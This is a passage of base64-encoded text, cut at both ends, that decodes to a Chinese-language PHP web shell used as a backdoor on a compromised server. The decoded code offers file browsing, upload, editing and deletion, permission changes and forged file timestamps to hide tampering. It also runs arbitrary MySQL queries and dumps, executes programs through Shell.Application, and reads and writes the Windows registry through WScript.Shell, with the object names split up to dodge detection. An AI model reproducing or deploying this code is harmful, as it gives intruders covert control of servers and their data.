kZGlyKTsNCn0NCg0KLy8gxdC2z7bB0LTH6b/2DQokZGlyX3dyaXRlYWJsZSA9IChkaXJfd3JpdGVhYmxlKCRub3dwYXRoKSkgPyAiv8nQtCIgOiAisru/ydC0IjsNCiRwaHBpbmZvPSghZXJlZ2koInBocGluZm8iLCRkaXNfZnVuYykpID8gIiB8IDxhIGhyZWY9XCI/YWN0aW9uPXBocGluZm9cIiB0YXJnZXQ9XCJfYmxhbmtcIj5QSFBJTkZPKCk8L2E+IiA6ICIiOw0KJHJlZyA9IChzdWJzdHIoUEhQX09TLCAwLCAzKSA9PSAnV0lOJykgPyAiIHwgPGEgaHJlZj1cIj9hY3Rpb249cmVnXCI+16Ky4bHtstnX9zwvYT4iIDogIiI7DQoNCiR0YiA9IG5ldyBGT1JNUzsNCg0KPz4NCjxodG1sPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1nYjIzMTIiPg0KPHRpdGxlPrm3ubfXqNPDsOY8L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHksdGQgew0KCWZvbnQtZmFtaWx5OiAiVGFob21hIjsNCglmb250LXNpemU6ICIxMnB4IjsNCglsaW5lLWhlaWdodDogIjE1MCUiOw0KfQ0KLnNtbGZvbnQgew0KCWZvbnQtZmFtaWx5OiAiVGFob21hIjsNCglmb250LXNpemU6ICIxMXB4IjsNCn0NCi5JTlBVVCB7DQoJRk9OVC1TSVpFOiAiMTJweCI7DQoJQ09MT1I6ICIjMDAwMDAwIjsNCglCQUNLR1JPVU5ELUNPTE9SOiAiI0ZGRkZGRiI7DQoJaGVpZ2h0OiAiMThweCI7DQoJYm9yZGVyOiAiMXB4IHNvbGlkICM2NjY2NjYiOw0KCXBhZGRpbmctbGVmdDogIjJweCI7DQp9DQoucmVkZm9udCB7DQoJQ09MT1I6ICIjQTYwMDAwIjsNCn0NCmE6bGluayxhOnZpc2l0ZWQsYTphY3RpdmUgew0KCWNvbG9yOiAiIzAwMDAwMCI7DQoJdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7DQp9DQphOmhvdmVyIHsNCgljb2xvcjogIiM0NjU1ODQiOw0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCn0NCi50b3Age0JBQ0tHUk9VTkQtQ09MT1I6ICIjQ0NDQ0NDIn0NCi5maXJzdGFsdCB7QkFDS0dST1VORC1DT0xPUjogIiNFRkVGRUYifQ0KLnNlY29uZGFsdCB7QkFDS0dST1VORC1DT0xPUjogIiNGNUY1RjUifQ0KPC9zdHlsZT4NCjxTQ1JJUFQgbGFuZ3VhZ2U9SmF2YVNjcmlwdD4NCmZ1bmN0aW9uIENoZWNrQWxsKGZvcm0pIHsNCglmb3IgKHZhciBpPTA7aTxmb3JtLmVsZW1lbnRzLmxlbmd0aDtpKyspIHsNCgkJdmFyIGUgPSBmb3JtLmVsZW1lbnRzW2ldOw0KCQlpZiAoZS5uYW1lICE9ICdjaGthbGwnKQ0KCQllLmNoZWNrZWQgPSBmb3JtLmNoa2FsbC5jaGVja2VkOw0KICAgIH0NCn0NCmZ1bmN0aW9uIHJlYWxseShkLGYsbSx0KSB7DQoJaWYgKGNvbmZpcm0obSkpIHsNCgkJaWYgKHQgPT0gMSkgew0KCQkJd2luZG93LmxvY2F0aW9uLmhyZWY9Jz9kaXI9JytkKycmZGVsZGlyPScrZjsNCgkJfSBlbHNlIHsNCgkJCXdpbmRvdy5sb2NhdGlvbi5ocmVmPSc/ZGlyPScrZCsnJmRlbGZpbGU9JytmOw0KCQl9DQoJfQ0KfQ0KPC9TQ1JJUFQ+DQo8L2hlYWQ+DQoNCjxib2R5IHN0eWxlPSJ0YWJsZS1sYXlvdXQ6Zml4ZWQ7IHdvcmQtYnJlYWs6YnJlYWstYWxsIj4NCjxjZW50ZXI+DQo8P3BocA0KJHRiLT50YWJsZWhlYWRlcigpOw0KJHRiLT50ZGJvZHkoJzx0YWJsZSB3aWR0aD0iOTglIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD48Yj4nLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4nPC9iPjwvdGQ+PHRkIGFsaWduPSJyaWdodCI+PGI+Jy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nPC9iPjwvdGQ+PC90cj48L3RhYmxlPicsJ2NlbnRlcicsJ3RvcCcpOw0KJHRiLT50ZGJvZHkoJzxhIGhyZWY9Ij9hY3Rpb249bG9nb3V0Ij7Xos/6u+G7sDwvYT4gfCA8YSBocmVmPSI/YWN0aW9uPWRpciI+t7W72FBocFNwecS/wrw8L2E+IHwgPGEgaHJlZj0iP2FjdGlvbj1waHBlbnYiPlBIULu3vrOx5MG/PC9hPiB8IDxhIGhyZWY9Ij9hY3Rpb249cHJveHkiPtTaz9+0+sDtPC9hPicuJHJlZy4kcGhwaW5mby4nIHwgPGEgaHJlZj0iP2FjdGlvbj1zaGVsbCI+V2ViU2hlbGw8L2E+IHwgPGEgaHJlZj0iP2FjdGlvbj1zcWwiPlNRTCBRdWVyeTwvYT4gfCA8YSBocmVmPSI/YWN0aW9uPXNxbGJhayI+TXlTUUwgQmFja3VwPC9hPicpOw0KJHRiLT50YWJsZWZvb3RlcigpOw0KPz4NCjxociB3aWR0aD0iNzc1IiBub3NoYWRlPg0KPHRhYmxlIHdpZHRoPSI3NzUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiPg0KPD8NCiR0Yi0+aGVhZGVyZm9ybShhcnJheSgnbWV0aG9kJz0+J0dFVCcsJ2NvbnRlbnQnPT4nPHA+s8zQ8sK3vrY6ICcuJHBhdGhuYW1lLic8YnI+tbHHsMS/wrwoJy4kZGlyX3dyaXRlYWJsZS4nLCcuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRub3dwYXRoKSwxMCw4KSwtNCkuJyk6ICcuJG5vd3BhdGguJzxicj7M+NeqxL/CvDogJy4kdGItPm1ha2VpbnB1dCgnZGlyJykuJyAnLiR0Yi0+bWFrZWlucHV0KCcnLCfIt7aoJywnJywnc3VibWl0JykuJyChvNans9a++LbUwre+trrNz+C21MK3vrahvScpKTsNCg0KJHRiLT5oZWFkZXJmb3JtKGFycmF5KCdhY3Rpb24nPT4nP2Rpcj0nLnVybGVuY29kZSgkZGlyKSwnZW5jdHlwZSc9PidtdWx0aXBhcnQvZm9ybS1kYXRhJywnY29udGVudCc9PifJz7SrzsS8/rW9tbHHsMS/wrw6ICcuJHRiLT5tYWtlaW5wdXQoJ3VwbG9hZGZpbGUnLCcnLCcnLCdmaWxlJykuJyAnLiR0Yi0+bWFrZWlucHV0KCdkb3VwZmlsZScsJ8i3tqgnLCcnLCdzdWJtaXQnKS4kdGItPm1ha2VpbnB1dCgndXBsb2FkZGlyJywkZGlyLCcnLCdoaWRkZW4nKSkpOw0KDQokdGItPmhlYWRlcmZvcm0oYXJyYXkoJ2FjdGlvbic9Pic/YWN0aW9uPWVkaXRmaWxlJmRpcj0nLnVybGVuY29kZSgkZGlyKSwnY29udGVudCc9PifQwr2ozsS8/tTatbHHsMS/wrw6ICcuJHRiLT5tYWtlaW5wdXQoJ2VkaXRmaWxlJykuJyAnLiR0Yi0+bWFrZWlucHV0KCdjcmVhdGVmaWxlJywnyLe2qCcsJycsJ3N1Ym1pdCcpKSk7DQoNCiR0Yi0+aGVhZGVyZm9ybShhcnJheSgnY29udGVudCc9PifQwr2oxL/CvNTatbHHsMS/wrw6ICcuJHRiLT5tYWtlaW5wdXQoJ25ld2RpcmVjdG9yeScpLicgJy4kdGItPm1ha2VpbnB1dCgnY3JlYXRlZGlyZWN0b3J5JywnyLe2qCcsJycsJ3N1Ym1pdCcpKSk7DQo/Pg0KPC90YWJsZT4NCjxociB3aWR0aD0iNzc1IiBub3NoYWRlPg0KPD9waHANCi8qPT09PT09PT09PT09PT09PT09PT09INa00NCy2df3IL+qyrwgPT09PT09PT09PT09PT09PT09PT09Ki8NCmVjaG8gIjxwPjxiPlxuIjsNCi8vIMm+s/3OxLz+DQppZiAoIWVtcHR5KCRkZWxmaWxlKSkgew0KCWlmIChmaWxlX2V4aXN0cygkZGVsZmlsZSkpIHsNCgkJZWNobyAoQHVubGluaygkZGVsZmlsZSkpID8gJGRlbGZpbGUuIiDJvrP9s8m5piEiIDogIs7EvP7JvrP9yqew3CEiOw0KCX0gZWxzZSB7DQoJCWVjaG8gYmFzZW5hbWUoJGRlbGZpbGUpLiIgzsS8/tLRsru05tTaISI7DQoJfQ0KfQ0KDQovLyDJvrP9xL/CvA0KZWxzZWlmICghZW1wdHkoJGRlbGRpcikpIHsNCgkkZGVsZGlycz0iJGRpci8kZGVsZGlyIjsNCglpZiAoIWZpbGVfZXhpc3RzKCIkZGVsZGlycyIpKSB7DQoJCWVjaG8gIiRkZWxkaXIgxL/CvNLRsru05tTaISI7DQoJfSBlbHNlIHsNCgkJZWNobyAoZGVsdHJlZSgkZGVsZGlycykpID8gIsS/wrzJvrP9s8m5piEiIDogIsS/wrzJvrP9yqew3CEiOw0KCX0NCn0NCg0KLy8gtLS9qMS/wrwNCmVsc2VpZiAoKCRjcmVhdGVkaXJlY3RvcnkpIEFORCAhZW1wdHkoJF9QT1NUWyduZXdkaXJlY3RvcnknXSkpIHsNCglpZiAoIWVtcHR5KCRuZXdkaXJlY3RvcnkpKSB7DQoJCSRta2RpcnM9IiRkaXIvJG5ld2RpcmVjdG9yeSI7DQoJCWlmIChmaWxlX2V4aXN0cygiJG1rZGlycyIpKSB7DQoJCQllY2hvICK4w8S/wrzS0bTm1NohIjsNCgkJfSBlbHNlIHsNCgkJCWVjaG8gKEBta2RpcigiJG1rZGlycyIsMDc3NykpID8gIrS0vajEv8K8s8m5piEiIDogIrS0vajKp7DcISI7DQoJCQlAY2htb2QoIiRta2RpcnMiLDA3NzcpOw0KCQl9DQoJfQ0KfQ0KDQovLyDJz7SrzsS8/g0KZWxzZWlmICgkZG91cGZpbGUpIHsNCgllY2hvIChAY29weSgkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ3RtcF9uYW1lJ10sIiIuJHVwbG9hZGRpci4iLyIuJF9GSUxFU1sndXBsb2FkZmlsZSddWyduYW1lJ10uIiIpKSA/ICLJz7Srs8m5piEiIDogIsnPtKvKp7DcISI7DQp9DQoNCi8vILHgvK3OxLz+DQplbHNlaWYgKCRfUE9TVFsnZG8nXSA9PSAnZG9lZGl0ZmlsZScpIHsNCglpZiAoIWVtcHR5KCRfUE9TVFsnZWRpdGZpbGVuYW1lJ10pKSB7DQoJCSRmaWxlbmFtZT0iJGVkaXRmaWxlbmFtZSI7DQoJCUAkZnA9Zm9wZW4oIiRmaWxlbmFtZSIsInciKTsNCgkJZWNobyAkbXNnPUBmd3JpdGUoJGZwLCRfUE9TVFsnZmlsZWNvbnRlbnQnXSkgPyAi0LTI687EvP6zybmmISIgOiAi0LTI68qnsNwhIjsNCgkJQGZjbG9zZSgkZnApOw0KCX0gZWxzZSB7DQoJCWVjaG8gIsfryuTI68/r0qqx4LyttcTOxLz+w/shIjsNCgl9DQp9DQoNCi8vILHgvK3OxLz+yvTQ1A0KZWxzZWlmICgkX1BPU1RbJ2RvJ10gPT0gJ2VkaXRmaWxlcGVybScpIHsNCglpZiAoIWVtcHR5KCRfUE9TVFsnZmlsZXBlcm0nXSkpIHsNCgkJJGZpbGVwZXJtPWJhc2VfY29udmVydCgkX1BPU1RbJ2ZpbGVwZXJtJ10sOCwxMCk7DQoJCWVjaG8gKEBjaG1vZCgkZGlyLiIvIi4kZmlsZSwkZmlsZXBlcm0pKSA/ICLK9NDU0N64xLPJuaYhIiA6ICLQ3rjEyqew3CEiOw0KCQllY2hvICIgzsS8/iAiLiRmaWxlLiIg0N64xLrztcTK9NDUzqo6ICIuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRkaXIuIi8iLiRmaWxlKSwxMCw4KSwtNCk7DQoJfSBlbHNlIHsNCgkJZWNobyAix+vK5Mjrz+vSqsno1sO1xMr00NQhIjsNCgl9DQp9DQoNCi8vIM7EvP64xMP7DQplbHNlaWYgKCRfUE9TVFsnZG8nXSA9PSAncmVuYW1lJykgew0KCWlmICghZW1wdHkoJF9QT1NUWyduZXduYW1lJ10pKSB7DQoJCSRuZXduYW1lPSRfUE9TVFsnZGlyJ10uIi8iLiRfUE9TVFsnbmV3bmFtZSddOw0KCQlpZiAoQGZpbGVfZXhpc3RzKCRuZXduYW1lKSkgew0KCQkJZWNobyAiIi4kX1BPU1RbJ25ld25hbWUnXS4iINLRvq205tTaLMfr1tjQwsrkyOvSu7j2ISI7DQoJCX0gZWxzZSB7DQoJCQllY2hvIChAcmVuYW1lKCRfUE9TVFsnb2xkbmFtZSddLCRuZXduYW1lKSkgPyBiYXNlbmFtZSgkX1BPU1RbJ29sZG5hbWUnXSkuIiCzybmmuMTD+86qICIuJF9QT1NUWyduZXduYW1lJ10uIiAhIiA6ICLOxLz+w/vQ3rjEyqew3CEiOw0KCQl9DQoJfSBlbHNlIHsNCgkJZWNobyAix+vK5Mjrz+vSqrjEtcTOxLz+w/shIjsNCgl9DQp9DQoNCi8vIL/LwqHKsbzkDQplbHNlaWYgKCRfUE9TVFsnZG8nXSA9PSAnZG9tb2R0aW1lJykgew0KCWlmICghQGZpbGVfZXhpc3RzKCRfUE9TVFsnY3VyZmlsZSddKSkgew0KCQllY2hvICLSqtDeuMS1xM7EvP6yu7Tm1NohIjsNCgl9IGVsc2Ugew0KCQlpZiAoIUBmaWxlX2V4aXN0cygkX1BPU1RbJ3RhcmZpbGUnXSkpIHsNCgkJCWVjaG8gItKqss7V1bXEzsS8/rK7tObU2iEiOw0KCQl9IGVsc2Ugew0KCQkJJHRpbWU9QGZpbGVtdGltZSgkX1BPU1RbJ3RhcmZpbGUnXSk7DQoJCQllY2hvIChAdG91Y2goJF9QT1NUWydjdXJmaWxlJ10sJHRpbWUsJHRpbWUpKSA/IGJhc2VuYW1lKCRfUE9TVFsnY3VyZmlsZSddKS4iILXE0N64xMqxvOSzybmmuMTOqiAiLmRhdGUoIlktbS1kIEg6aTpzIiwkdGltZSkuIiAhIiA6ICLOxLz+tcTQ3rjEyrG85NDeuMTKp7DcISI7DQoJCX0NCgl9DQp9DQoNCi8vINfUtqjS5cqxvOQNCmVsc2VpZiAoJF9QT1NUWydkbyddID09ICdtb2RteXRpbWUnKSB7DQoJaWYgKCFAZmlsZV9leGlzdHMoJF9QT1NUWydjdXJmaWxlJ10pKSB7DQoJCWVjaG8gItKq0N64xLXEzsS8/rK7tObU2iEiOw0KCX0gZWxzZSB7DQoJCSR5ZWFyPSRfUE9TVFsneWVhciddOw0KCQkkbW9udGg9JF9QT1NUWydtb250aCddOw0KCQkkZGF0YT0kX1BPU1RbJ2RhdGEnXTsJCQ0KCQkkaG91cj0kX1BPU1RbJ2hvdXInXTsNCgkJJG1pbnV0ZT0kX1BPU1RbJ21pbnV0ZSddOw0KCQkkc2Vjb25kPSRfUE9TVFsnc2Vjb25kJ107DQoJCWlmICghZW1wdHkoJHllYXIpIEFORCAhZW1wdHkoJG1vbnRoKSBBTkQgIWVtcHR5KCRkYXRhKSBBTkQgIWVtcHR5KCRob3VyKSBBTkQgIWVtcHR5KCRtaW51dGUpIEFORCAhZW1wdHkoJHNlY29uZCkpIHsNCgkJCSR0aW1lPXN0cnRvdGltZSgiJGRhdGEgJG1vbnRoICR5ZWFyICRob3VyOiRtaW51dGU6JHNlY29uZCIpOw0KCQkJZWNobyAoQHRvdWNoKCRfUE9TVFsnY3VyZmlsZSddLCR0aW1lLCR0aW1lKSkgPyBiYXNlbmFtZSgkX1BPU1RbJ2N1cmZpbGUnXSkuIiC1xNDeuMTKsbzks8m5prjEzqogIi5kYXRlKCJZLW0tZCBIOmk6cyIsJHRpbWUpLiIgISIgOiAizsS8/rXE0N64xMqxvOTQ3rjEyqew3CEiOw0KCQl9DQoJfQ0KfQ0KDQovLyDBrL3TTVlTUUwNCmVsc2VpZiAoJGNvbm5lY3QpIHsNCglpZiAoQG15c3FsX2Nvbm5lY3QoJHNlcnZlcm5hbWUsJGRidXNlcm5hbWUsJGRicGFzc3dvcmQpIEFORCBAbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpKSB7DQoJCWVjaG8gIsr9vt2/4sGsvdOzybmmISI7DQoJCW15c3FsX2Nsb3NlKCk7DQoJfSBlbHNlIHsNCgkJZWNobyBteXNxbF9lcnJvcigpOw0KCX0NCn0NCg0KLy8g1rTQ0FNRTNPvvuQNCmVsc2VpZiAoJF9QT1NUWydkbyddID09ICdxdWVyeScpIHsNCglAbXlzcWxfY29ubmVjdCgkc2VydmVybmFtZSwkZGJ1c2VybmFtZSwkZGJwYXNzd29yZCkgb3IgZGllKCLK/b7dv+LBrL3Tyqew3CIpOw0KCUBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSkgb3IgZGllKCLRodTxyv2+3b/iyqew3CIpOw0KCSRyZXN1bHQgPSBAbXlzcWxfcXVlcnkoJF9QT1NUWydzcWxfcXVlcnknXSk7DQoJZWNobyAoJHJlc3VsdCkgPyAiU1FM0+++5LPJuabWtNDQISIgOiAis/a07TogIi5teXNxbF9lcnJvcigpOw0KCW15c3FsX2Nsb3NlKCk7DQp9DQoNCi8vILG4t92y2df3DQplbHNlaWYgKCRfUE9TVFsnZG8nXSA9PSAnYmFja3VwbXlzcWwnKSB7DQoJaWYgKGVtcHR5KCRfUE9TVFsndGFibGUnXSkgT1IgZW1wdHkoJF9QT1NUWydiYWNrdXB0eXBlJ10pKSB7DQoJCWVjaG8gIsfr0aHU8dP7sbi33bXEyv2+3bHtus2xuLfdt73KvSEiOw0KCX0gZWxzZSB7DQoJCWlmICgkX1BPU1RbJ2JhY2t1cHR5cGUnXSA9PSAnc2VydmVyJykgew0KCQkJQG15c3FsX2Nvbm5lY3QoJHNlcnZlcm5hbWUsJGRidXNlcm5hbWUsJGRicGFzc3dvcmQpIG9yIGRpZSgiyv2+3b/iway908qnsNwiKTsNCgkJCUBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSkgb3IgZGllKCLRodTxyv2+3b/iyqew3CIpOwkNCgkJCSR0YWJsZSA9IGFycmF5X2ZsaXAoJF9QT1NUWyd0YWJsZSddKTsNCgkJCSRmaWxlaGFuZGxlID0gQGZvcGVuKCRwYXRoLCJ3Iik7DQoJCQlpZiAoJGZpbGVoYW5kbGUpIHsNCgkJCQkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgdGFibGVzIik7DQoJCQkJZWNobyAoJHJlc3VsdCkgPyBOVUxMIDogIrP2tO06ICIubXlzcWxfZXJyb3IoKTsNCgkJCQl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoJCQkJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7DQoJCQkJCQlzcWxkdW1wdGFibGUoJGN1cnJvd1swXSwgJGZpbGVoYW5kbGUpOw0KCQkJCQkJZndyaXRlKCRmaWxlaGFuZGxlLCJcblxuXG4iKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlmY2xvc2UoJGZpbGVoYW5kbGUpOw0KCQkJCWVjaG8gIsr9vt2/4tLRs8m5prG4t921vSA8YSBocmVmPVwiIi4kcGF0aC4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+Ii4kcGF0aC4iPC9hPiI7DQoJCQkJbXlzcWxfY2xvc2UoKTsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAisbi33cqnsNwsx+vIt8jPxL+x6s7EvP680MrHt/G+39PQv8nQtMioz94hIjsNCgkJCX0NCgkJfQ0KCX0NCn0NCg0KLy8gtPKw/M/C1NggUFM6zsS8/syrtPO/ycTct8ezo8L9DQovLyBUaHggOiDQobuoDQplbHNlaWYoJGRvd25yYXIpIHsNCglpZiAoIWVtcHR5KCRkbCkpIHsNCgkJJGRmaWxlcz0iIjsNCgkJZm9yZWFjaCAoJGRsIEFTICRmaWxlcGF0aD0+JHZhbHVlKSB7DQoJCQkkZGZpbGVzLj0kZmlsZXBhdGguIiwiOw0KCQl9DQoJCSRkZmlsZXM9c3Vic3RyKCRkZmlsZXMsMCxzdHJsZW4oJGRmaWxlcyktMSk7DQoJCSRkbD1leHBsb2RlKCIsIiwkZGZpbGVzKTsNCgkJJHppcD1uZXcgUEhQWmlwKCRkbCk7DQoJCSRjb2RlPSR6aXAtPm91dDsJCQ0KCQloZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQoJCWhlYWRlcigiQWNjZXB0LVJhbmdlczogYnl0ZXMiKTsNCgkJaGVhZGVyKCJBY2NlcHQtTGVuZ3RoOiAiLnN0cmxlbigkY29kZSkpOw0KCQloZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7ZmlsZW5hbWU9Ii4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIl9GaWxlcy50YXIuZ3oiKTsNCgkJZWNobyAkY29kZTsNCgkJZXhpdDsNCgl9IGVsc2Ugew0KCQllY2hvICLH69Gh1PHSqrTysPzPwtTYtcTOxLz+ISI7DQoJfQ0KfQ0KDQovLyBTaGVsbC5BcHBsaWNhdGlvbiDUy9DQs8zQ8g0KZWxzZWlmKCgkX1BPU1RbJ2RvJ10gPT0gJ3Byb2dyYW1ydW4nKSBBTkQgIWVtcHR5KCRfUE9TVFsncHJvZ3JhbSddKSkgew0KCSRzaGVsbD0gJm5ldyBDT00oJ1NoJy4nZWwnLidsLkFwcGwnLidpY2EnLid0aW9uJyk7DQoJJGEgPSAkc2hlbGwtPlNoZWxsRXhlY3V0ZSgkX1BPU1RbJ3Byb2dyYW0nXSwkX1BPU1RbJ3Byb2cnXSk7DQoJZWNobyAoJGE9PScwJykgPyAis8zQ8tLRvq2zybmm1rTQ0CEiIDogIrPM0PLUy9DQyqew3CEiOw0KfQ0KDQovLyCy6b+0UEhQxeTWw7LOyv3XtL/2DQplbHNlaWYoKCRfUE9TVFsnZG8nXSA9PSAndmlld3BocHZhcicpIEFORCAhZW1wdHkoJF9QT1NUWydwaHB2YXJuYW1lJ10pKSB7DQoJZWNobyAixeTWw7LOyv0gIi4kX1BPU1RbJ3BocHZhcm5hbWUnXS4iILzssuK94bn7OiAiLmdldHBocGNmZygkX1BPU1RbJ3BocHZhcm5hbWUnXSkuIiI7DQp9DQoNCi8vILbByKHXorLhse0NCmVsc2VpZigoJHJlZ3JlYWQpIEFORCAhZW1wdHkoJF9QT1NUWydyZWFkcmVnbmFtZSddKSkgew0KCSRzaGVsbD0gJm5ldyBDT00oJ1dTYycuJ3JpcCcuJ3QuU2gnLidlbGwnKTsNCgl2YXJfZHVtcChAJHNoZWxsLT5SZWdSZWFkKCRfUE9TVFsncmVhZHJlZ25hbWUnXSkpOw0KfQ0KDQovLyDQtMjr16Ky4bHtDQplbHNlaWYoKCRyZWd3cml0ZSkgQU5EICFlbXB0eSgkX1BPU1RbJ3dyaXRlcmVnbmFtZSddKSBBTkQgIWVtcHR5KCRfUE9TVFsncmVndHlwZSddKSBBTkQgIWVtcHR5KCRfUE9TVFsncmVndmFsJ10pKSB7DQoJJHNoZWxsPSAmbmV3IENPTSgnVycuJ1NjcicuJ2lwdC5TJy4naGVsbCcpOw0KCSRhID0gQCRzaGVsbC0+UmVnV3JpdGUoJF9QT1NUWyd3cml0ZXJlZ25hbWUnXSwgJF9QT1NUWydyZWd2YWwnXSwgJF9QT1NUWydyZWd0eXBlJ10pOw0KCWVjaG8gKCRhPT0nMCcpID8gItC0yOvXorLhse29oda1s8m5piEiIDogItC0yOsgIi4kX1BPU1RbJ3JlZ25hbWUnXS4iLCAiLiRfUE9TVFsncmVndmFsJ10uIiwgIi4kX1BPU1RbJ3JlZ3R5cGUnXS4iIMqnsNwhIjsNCn0NCg0KLy8gyb6z/deisuGx7Q0KZWxzZWlmKCgkcmVnZGVsZXRlKSBBTkQgIWVtcHR5KCRfUE9TVFsnZGVscmVnbmFtZSddKSkgew0KCSRzaGVsbD0gJm5ldyBDT00oJ1dTJy4nY3JpJy4ncHQuUycuJ2hlJy4nbGwnKTsNCgkkYSA9IEAkc2hlbGwtPlJlZ0RlbGV0ZSgkX1BPU1RbJ2RlbHJlZ25hbWUnXSk7DQoJZWNobyAoJGE9PScwJykgPyAiyb6z/deisuGx7b2h1rWzybmmISIgOiAiyb6z/SAiLiRfUE9TVFsnZGVscmVnbmFtZSddLiIgyqew3CEiOw0KfQ0KDQplbHNlIHsNCgllY2hvICKh71BIULrzw8W5t7m316jTw7Dmoe+h71BIULrzw8W5t7m316jTw7Dmoe+h71BIULrzw8W5t7m316jTw7Dmoe+h71BIULrzw8W5t7m316jTw7Dmoe+h71BIULrzw8W5t7m316jTw7Dmoe8iOw0KfQ0KDQplY2hvICI8L2I+PC9wPlxuIjsNCi8qPT09PT09PT09PT09PT09PT09PT09INa00NCy2df3IL3hyvggPT09PT09PT09PT09PT09PT09PT09Ki8NCg0KaWYgKCFpc3NldCgkX0dFVFsnYWN0aW9uJ10pIE9SIGVtcHR5KCRfR0VUWydhY3Rpb24nXSkgT1IgKCRfR0VUWydhY3Rpb24nXSA9PSAiZGlyIikpIHsNCgkkdGItPnRhYmxlaGVhZGVyKCk7DQo/Pg0KICA8dHIgYmdjb2xvcj0iI2NjY2NjYyI+DQogICAgPHRkIGFsaWduPSJjZW50ZXIiIG5vd3JhcCB3aWR0aD0iMjclIj48Yj7OxLz+PC9iPjwvdGQ+DQoJPHRkIGFsaWduPSJjZW50ZXIiIG5vd3JhcCB3aWR0aD0iMTYlIj48Yj60tL2oyNXG2jwvYj48L3RkPg0KICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBub3dyYXAgd2lkdGg9IjE2JSI+PGI+1+6689DeuMQ8L2I+PC90ZD4NCiAgICA8dGQgYWxpZ249ImNlbnRlciIgbm93cmFwIHdpZHRoPSIxMSUiPjxiPrTz0KE8L2I+PC90ZD4NCiAgICA8dGQgYWxpZ249ImNlbnRlciIgbm93cmFwIHdpZHRoPSI2JSI+PGI+yvTQ1DwvYj48L3RkPg0KICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBub3dyYXAgd2lkdGg9IjI0JSI+PGI+stnX9zwvYj48L3RkPg0KICA8L3RyPg0KPD9waHANCi8vIMS/wrzB0LHtDQokZGlycz1Ab3BlbmRpcigkZGlyKTsNCiRkaXJfaSA9ICcwJzsNCndoaWxlICgkZmlsZT1AcmVhZGRpcigkZGlycykpIHsNCgkkZmlsZXBhdGg9IiRkaXIvJGZpbGUiOw0KCSRhPUBpc19kaXIoJGZpbGVwYXRoKTsNCglpZigkYT09IjEiKXsNCgkJaWYoJGZpbGUhPSIuLiIgJiYgJGZpbGUhPSIuIikJew0KCQkJJGN0aW1lPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVjdGltZSgkZmlsZXBhdGgpKTsNCgkJCSRtdGltZT1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJGZpbGVwYXRoKSk7DQoJCQkkZGlycGVybT1zdWJzdHIoYmFzZV9jb252ZXJ0KGZpbGVwZXJtcygkZmlsZXBhdGgpLDEwLDgpLC00KTsNCgkJCWVjaG8gIjx0ciBjbGFzcz0iLmdldHJvd2JnKCkuIj5cbiI7DQoJCQllY2hvICIgIDx0ZCBzdHlsZT1cInBhZGRpbmctbGVmdDogNXB4O1wiPls8YSBocmVmPVwiP2Rpcj0iLnVybGVuY29kZSgkZGlyKS4iLyIudXJsZW5jb2RlKCRmaWxlKS4iXCI+PGZvbnQgY29sb3I9XCIjMDA2Njk5XCI+JGZpbGU8L2ZvbnQ+PC9hPl08L3RkPlxuIjsNCgkJCWVjaG8gIiAgPHRkIGFsaWduPVwiY2VudGVyXCIgbm93cmFwIGNsYXNzPVwic21sZm9udFwiPiRjdGltZTwvdGQ+XG4iOw0KCQkJZWNobyAiICA8dGQgYWxpZ249XCJjZW50ZXJcIiBub3dyYXAgY2xhc3M9XCJzbWxmb250XCI+JG10aW1lPC90ZD5cbiI7DQoJCQllY2hvICIgIDx0ZCBhbGlnbj1cImNlbnRlclwiIG5vd3JhcCBjbGFzcz1cInNtbGZvbnRcIj4mbHQ7ZGlyJmd0OzwvdGQ+XG4iOw0KCQkJZWNobyAiICA8dGQgYWxpZ249XCJjZW50ZXJcIiBub3dyYXAgY2xhc3M9XCJzbWxmb250XCI+PGEgaHJlZj1cIj9hY3Rpb249ZmlsZXBlcm0mZGlyPSIudXJsZW5jb2RlKCRkaXIpLiImZmlsZT0iLnVybGVuY29kZSgkZmlsZSkuIlwiPiRkaXJwZXJtPC9hPjwvdGQ+XG4iOw0KCQkJZWNobyAiICA8dGQgYWxpZ249XCJjZW50ZXJcIiBub3dyYXA+PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVhbGx5KCciLnVybGVuY29kZSgkZGlyKS4iJywnIi51cmxlbmNvZGUoJGZpbGUpLiInLCfE48i3tqjSqsm+s/0gJGZpbGUgxL/CvMLwPyBcXG5cXG7I57n7uMPEv8K8t8e/1Sy0y7TOstnX972ru+HJvrP9uMPEv8K8z8K1xMv509DOxLz+IScsJzEnKVwiPsm+s/08L2E+PC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJCSRkaXJfaSsrOw0KCQl9IGVsc2Ugew0KCQkJaWYoJGZpbGU9PSIuL